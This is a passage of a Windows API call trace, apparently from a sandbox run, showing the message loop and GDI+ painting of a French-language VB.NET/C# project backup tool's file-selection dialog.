[0113.421] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0113.421] TranslateMessage (lpMsg=0x32f158) returned 0 [0113.421] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0113.421] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0113.421] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0113.421] WaitMessage () returned 1 [0113.870] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0113.870] IsWindowUnicode (hWnd=0x201d8) returned 1 [0113.870] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0113.870] TranslateMessage (lpMsg=0x32f158) returned 0 [0113.870] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0113.870] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0113.870] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0113.870] WaitMessage () returned 1 [0123.444] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0123.444] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0123.444] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0123.456] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32edf0 | out: lpwndpl=0x32edf0) returned 1 [0123.456] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0123.456] GetClientRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0123.456] GetWindowRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0123.456] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0123.456] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8edb8) returned 0x0 [0123.456] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0123.457] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0123.457] NtdllDefWindowProc_W () returned 0x0 [0123.457] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0123.465] GetFocus () returned 0x0 [0123.465] SetFocus (hWnd=0x201e4) returned 0x0 [0123.465] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0123.465] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0123.465] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0123.465] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0123.465] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0123.465] GetStockObject (i=5) returned 0x1900015 [0123.465] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0123.465] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0xd, wParam=0x1a, lParam=0x64af58) returned 0x19 [0123.466] GetDlgItem (hDlg=0x50120, nIDDlgItem=131556) returned 0x201e4 [0123.466] SendMessageW (hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e838) returned 0x0 [0123.466] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e838) returned 0x0 [0123.466] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0123.466] IsWindowUnicode (hWnd=0x201e4) returned 1 [0123.466] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0123.466] TranslateMessage (lpMsg=0x32f158) returned 0 [0123.466] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0123.466] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0123.466] IsWindowUnicode (hWnd=0x201e4) returned 1 [0123.466] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0123.466] GetKeyState (nVirtKey=16) returned 0 [0123.466] GetKeyState (nVirtKey=17) returned 0 [0123.466] GetKeyState (nVirtKey=18) returned -128 [0123.466] TranslateMessage (lpMsg=0x32f158) returned 1 [0123.466] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0123.466] GetKeyState (nVirtKey=16) returned 0 [0123.466] GetKeyState (nVirtKey=17) returned 0 [0123.466] GetKeyState (nVirtKey=18) returned -128 [0123.466] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0123.466] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0123.466] IsWindowUnicode (hWnd=0x201e4) returned 1 [0123.466] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0123.467] GetKeyState (nVirtKey=16) returned 0 [0123.467] GetKeyState (nVirtKey=17) returned 0 [0123.467] GetKeyState (nVirtKey=18) returned 0 [0123.467] TranslateMessage (lpMsg=0x32f158) returned 1 [0123.467] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0123.467] GetKeyState (nVirtKey=16) returned 0 [0123.467] GetKeyState (nVirtKey=17) returned 0 [0123.467] GetKeyState (nVirtKey=18) returned 0 [0123.467] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0123.467] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0123.467] IsWindowUnicode (hWnd=0x201e4) returned 1 [0123.467] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0123.467] TranslateMessage (lpMsg=0x32f158) returned 0 [0123.467] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0123.467] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0x12010815 [0123.467] SelectPalette (hdc=0x12010815, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0123.467] CreateCompatibleDC (hdc=0x12010815) returned 0x2d0101b6 [0123.467] SelectObject (hdc=0x2d0101b6, h=0x70050254) returned 0x185000f [0123.467] GdipCreateFromHDC (hdc=0x2d0101b6, graphics=0x32ec54) returned 0x0 [0123.467] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0123.467] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0123.467] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0123.467] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0123.468] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0123.468] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0123.468] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61ce8) returned 0x0 [0123.468] LocalFree (hMem=0x4e61ce8) returned 0x0 [0123.468] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0123.468] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0123.468] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0123.468] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0123.468] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0123.468] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd8f0dbd) returned 0x0 [0123.468] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0123.468] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0123.468] GetCurrentObject (hdc=0x2d0101b6, type=0x1) returned 0x1b00017 [0123.468] GetCurrentObject (hdc=0x2d0101b6, type=0x2) returned 0x1900010 [0123.468] GetCurrentObject (hdc=0x2d0101b6, type=0x7) returned 0x70050254 [0123.468] GetCurrentObject (hdc=0x2d0101b6, type=0x6) returned 0x18a002e [0123.468] SaveDC (hdc=0x2d0101b6) returned 1 [0123.468] GetNearestColor (hdc=0x2d0101b6, color=0xf0f0f0) returned 0xf0f0f0 [0123.468] GetNearestColor (hdc=0x2d0101b6, color=0xa0a0a0) returned 0xa0a0a0 [0123.469] GetNearestColor (hdc=0x2d0101b6, color=0x696969) returned 0x696969 [0123.469] GetNearestColor (hdc=0x2d0101b6, color=0xa0a0a0) returned 0xa0a0a0 [0123.469] GetNearestColor (hdc=0x2d0101b6, color=0x0) returned 0x0 [0123.469] GetNearestColor (hdc=0x2d0101b6, color=0xffffff) returned 0xffffff [0123.469] GetNearestColor (hdc=0x2d0101b6, color=0xe5e5e5) returned 0xe5e5e5 [0123.469] GetNearestColor (hdc=0x2d0101b6, color=0xd7d7d7) returned 0xd7d7d7 [0123.469] GetNearestColor (hdc=0x2d0101b6, color=0x0) returned 0x0 [0123.469] RestoreDC (hdc=0x2d0101b6, nSavedDC=-1) returned 1 [0123.469] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d0101b6) returned 0x0 [0123.469] IsAppThemed () returned 0x1 [0123.469] GetThemeAppProperties () returned 0x3 [0123.469] GetThemeAppProperties () returned 0x3 [0123.469] IsAppThemed () returned 0x1 [0123.469] GetThemeAppProperties () returned 0x3 [0123.469] GetThemeAppProperties () returned 0x3 [0123.469] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x26ec930 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0123.469] IsAppThemed () returned 0x1 [0123.469] GetThemeAppProperties () returned 0x3 [0123.469] GetThemeAppProperties () returned 0x3 [0123.470] IsAppThemed () returned 0x1 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] GetFocus () returned 0x201e4 [0123.470] IsAppThemed () returned 0x1 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] IsAppThemed () returned 0x1 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] IsThemePartDefined () returned 0x1 [0123.470] IsAppThemed () returned 0x1 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0123.470] IsAppThemed () returned 0x1 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] IsAppThemed () returned 0x1 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] GetThemeAppProperties () returned 0x3 [0123.470] IsThemePartDefined () returned 0x1 [0123.470] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0123.470] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0123.470] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0123.470] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0123.470] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0123.470] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0123.470] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0123.470] LocalFree (hMem=0x4e61ce8) returned 0x0 [0123.470] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0123.470] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0123.471] LocalFree (hMem=0x4e61ce8) returned 0x0 [0123.471] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0123.471] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0123.471] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0123.471] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0123.471] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0123.471] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0123.471] GetCurrentObject (hdc=0x2d0101b6, type=0x1) returned 0x1b00017 [0123.471] GetCurrentObject (hdc=0x2d0101b6, type=0x2) returned 0x1900010 [0123.471] GetCurrentObject (hdc=0x2d0101b6, type=0x7) returned 0x70050254 [0123.471] GetCurrentObject (hdc=0x2d0101b6, type=0x6) returned 0x18a002e [0123.471] SaveDC (hdc=0x2d0101b6) returned 1 [0123.471] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x680401e3 [0123.471] GetClipRgn (hdc=0x2d0101b6, hrgn=0x680401e3) returned 0 [0123.471] SelectClipRgn (hdc=0x2d0101b6, hrgn=0x68040850) returned 2 [0123.471] DeleteObject (ho=0x680401e3) returned 1 [0123.471] DeleteObject (ho=0x68040850) returned 1 [0123.471] OffsetViewportOrgEx (in: hdc=0x2d0101b6, x=0, y=0, lppt=0x26ecfe0 | out: lppt=0x26ecfe0) returned 1 [0123.471] DrawThemeParentBackground () returned 0x0 [0123.472] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0123.472] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0123.472] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0123.472] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0123.472] GetSystemMetrics (nIndex=42) returned 0 [0123.472] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0123.472] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0123.472] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0123.472] GetCurrentObject (hdc=0x2d0101b6, type=0x1) returned 0x1b00017 [0123.472] GetCurrentObject (hdc=0x2d0101b6, type=0x2) returned 0x1900010 [0123.472] GetCurrentObject (hdc=0x2d0101b6, type=0x7) returned 0x70050254 [0123.472] GetCurrentObject (hdc=0x2d0101b6, type=0x6) returned 0x18a002e [0123.472] SaveDC (hdc=0x2d0101b6) returned 2 [0123.472] GetNearestColor (hdc=0x2d0101b6, color=0xf0f0f0) returned 0xf0f0f0 [0123.472] CreateSolidBrush (color=0xf0f0f0) returned 0x2610084d [0123.472] FillRect (hDC=0x2d0101b6, lprc=0x32e4d4, hbr=0x2610084d) returned 1 [0123.472] DeleteObject (ho=0x2610084d) returned 1 [0123.472] RestoreDC (hdc=0x2d0101b6, nSavedDC=-1) returned 1 [0123.472] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0123.472] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0123.473] GetSystemMetrics (nIndex=42) returned 0 [0123.473] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0123.473] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0123.473] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0123.473] GetCurrentObject (hdc=0x2d0101b6, type=0x1) returned 0x1b00017 [0123.473] GetCurrentObject (hdc=0x2d0101b6, type=0x2) returned 0x1900010 [0123.473] GetCurrentObject (hdc=0x2d0101b6, type=0x7) returned 0x70050254 [0123.473] GetCurrentObject (hdc=0x2d0101b6, type=0x6) returned 0x18a002e [0123.473] SaveDC (hdc=0x2d0101b6) returned 2 [0123.473] GetNearestColor (hdc=0x2d0101b6, color=0xf0f0f0) returned 0xf0f0f0 [0123.473] CreateSolidBrush (color=0xf0f0f0) returned 0x2710084d [0123.473] FillRect (hDC=0x2d0101b6, lprc=0x32e474, hbr=0x2710084d) returned 1 [0123.473] DeleteObject (ho=0x2710084d) returned 1 [0123.473] RestoreDC (hdc=0x2d0101b6, nSavedDC=-1) returned 1 [0123.473] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0123.473] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0123.473] GetSystemMetrics (nIndex=42) returned 0 [0123.473] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0123.473] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0123.473] RestoreDC (hdc=0x2d0101b6, nSavedDC=-1) returned 1 [0123.474] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d0101b6) returned 0x0 [0123.474] IsAppThemed () returned 0x1 [0123.474] GetThemeAppProperties () returned 0x3 [0123.474] GetThemeAppProperties () returned 0x3 [0123.474] IsAppThemed () returned 0x1 [0123.474] GetThemeAppProperties () returned 0x3 [0123.474] GetThemeAppProperties () returned 0x3 [0123.474] IsThemePartDefined () returned 0x1 [0123.474] GdipCreateRegion (region=0x32e968) returned 0x0 [0123.474] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0123.474] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0123.474] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0123.474] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0123.474] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0123.474] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61ce8) returned 0x0 [0123.474] LocalFree (hMem=0x4e61ce8) returned 0x0 [0123.474] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0123.474] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61ce8) returned 0x0 [0123.474] LocalFree (hMem=0x4e61ce8) returned 0x0 [0123.474] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0123.474] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0123.474] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0123.474] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0123.475] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0123.475] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0123.475] GetCurrentObject (hdc=0x2d0101b6, type=0x1) returned 0x1b00017 [0123.475] GetCurrentObject (hdc=0x2d0101b6, type=0x2) returned 0x1900010 [0123.475] GetCurrentObject (hdc=0x2d0101b6, type=0x7) returned 0x70050254 [0123.475] GetCurrentObject (hdc=0x2d0101b6, type=0x6) returned 0x18a002e [0123.475] SaveDC (hdc=0x2d0101b6) returned 1 [0123.475] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x69040850 [0123.475] GetClipRgn (hdc=0x2d0101b6, hrgn=0x69040850) returned 0 [0123.475] SelectClipRgn (hdc=0x2d0101b6, hrgn=0x6a0401e3) returned 2 [0123.475] DeleteObject (ho=0x69040850) returned 1 [0123.475] DeleteObject (ho=0x6a0401e3) returned 1 [0123.475] OffsetViewportOrgEx (in: hdc=0x2d0101b6, x=0, y=0, lppt=0x26eda18 | out: lppt=0x26eda18) returned 1 [0123.475] IsAppThemed () returned 0x1 [0123.475] GetThemeAppProperties () returned 0x3 [0123.475] GetThemeAppProperties () returned 0x3 [0123.475] DrawThemeBackground () returned 0x0 [0123.475] RestoreDC (hdc=0x2d0101b6, nSavedDC=-1) returned 1 [0123.475] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d0101b6) returned 0x0 [0123.475] GdipCreateRegion (region=0x32e950) returned 0x0 [0123.475] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0123.476] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0123.476] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0123.476] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0123.476] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0123.476] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0123.476] LocalFree (hMem=0x4e61ce8) returned 0x0 [0123.476] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0123.476] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0123.476] LocalFree (hMem=0x4e61ce8) returned 0x0 [0123.476] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0123.476] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0123.476] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0123.476] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0123.476] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0123.476] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0123.476] GetCurrentObject (hdc=0x2d0101b6, type=0x1) returned 0x1b00017 [0123.476] GetCurrentObject (hdc=0x2d0101b6, type=0x2) returned 0x1900010 [0123.476] GetCurrentObject (hdc=0x2d0101b6, type=0x7) returned 0x70050254 [0123.476] GetCurrentObject (hdc=0x2d0101b6, type=0x6) returned 0x18a002e [0123.476] SaveDC (hdc=0x2d0101b6) returned 1 [0123.476] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6b0401e3 [0123.476] GetClipRgn (hdc=0x2d0101b6, hrgn=0x6b0401e3) returned 0 [0123.477] SelectClipRgn (hdc=0x2d0101b6, hrgn=0x6a040850) returned 2 [0123.477] DeleteObject (ho=0x6b0401e3) returned 1 [0123.477] DeleteObject (ho=0x6a040850) returned 1 [0123.477] OffsetViewportOrgEx (in: hdc=0x2d0101b6, x=0, y=0, lppt=0x26edcec | out: lppt=0x26edcec) returned 1 [0123.477] IsAppThemed () returned 0x1 [0123.477] GetThemeAppProperties () returned 0x3 [0123.477] GetThemeAppProperties () returned 0x3 [0123.477] GetThemeBackgroundContentRect () returned 0x0 [0123.477] RestoreDC (hdc=0x2d0101b6, nSavedDC=-1) returned 1 [0123.477] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d0101b6) returned 0x0 [0123.477] IsAppThemed () returned 0x1 [0123.477] GetThemeAppProperties () returned 0x3 [0123.477] GetThemeAppProperties () returned 0x3 [0123.477] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0123.477] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0123.477] GetCurrentObject (hdc=0x2d0101b6, type=0x1) returned 0x1b00017 [0123.477] GetCurrentObject (hdc=0x2d0101b6, type=0x2) returned 0x1900010 [0123.477] GetCurrentObject (hdc=0x2d0101b6, type=0x7) returned 0x70050254 [0123.477] GetCurrentObject (hdc=0x2d0101b6, type=0x6) returned 0x18a002e [0123.477] SaveDC (hdc=0x2d0101b6) returned 1 [0123.477] GetTextAlign (hdc=0x2d0101b6) returned 0x0 [0123.477] GetTextColor (hdc=0x2d0101b6) returned 0x0 [0123.478] GetCurrentObject (hdc=0x2d0101b6, type=0x6) returned 0x18a002e [0123.478] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0123.478] SelectObject (hdc=0x2d0101b6, h=0x100a0252) returned 0x18a002e [0123.478] GetBkMode (hdc=0x2d0101b6) returned 2 [0123.478] SetBkMode (hdc=0x2d0101b6, mode=1) returned 2 [0123.478] DrawTextExW (in: hdc=0x2d0101b6, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x26ee080 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0123.478] DrawTextExW (in: hdc=0x2d0101b6, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x26ee080 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0123.478] RestoreDC (hdc=0x2d0101b6, nSavedDC=-1) returned 1 [0123.478] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d0101b6) returned 0x0 [0123.478] GetFocus () returned 0x201e4 [0123.478] IsAppThemed () returned 0x1 [0123.478] GetThemeAppProperties () returned 0x3 [0123.478] GetThemeAppProperties () returned 0x3 [0123.479] GdipGetDC (graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0123.479] BitBlt (hdc=0x12010815, x=0, y=0, cx=163, cy=29, hdcSrc=0x2d0101b6, x1=0, y1=0, rop=0xcc0020) returned 1 [0123.479] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d0101b6) returned 0x0 [0123.479] SelectPalette (hdc=0x12010815, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0123.479] SelectObject (hdc=0x2d0101b6, h=0x185000f) returned 0x70050254 [0123.479] DeleteDC (hdc=0x2d0101b6) returned 1 [0123.479] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0123.479] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0123.479] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0123.479] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0123.479] WaitMessage () returned 1 [0123.573] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0123.573] IsWindowUnicode 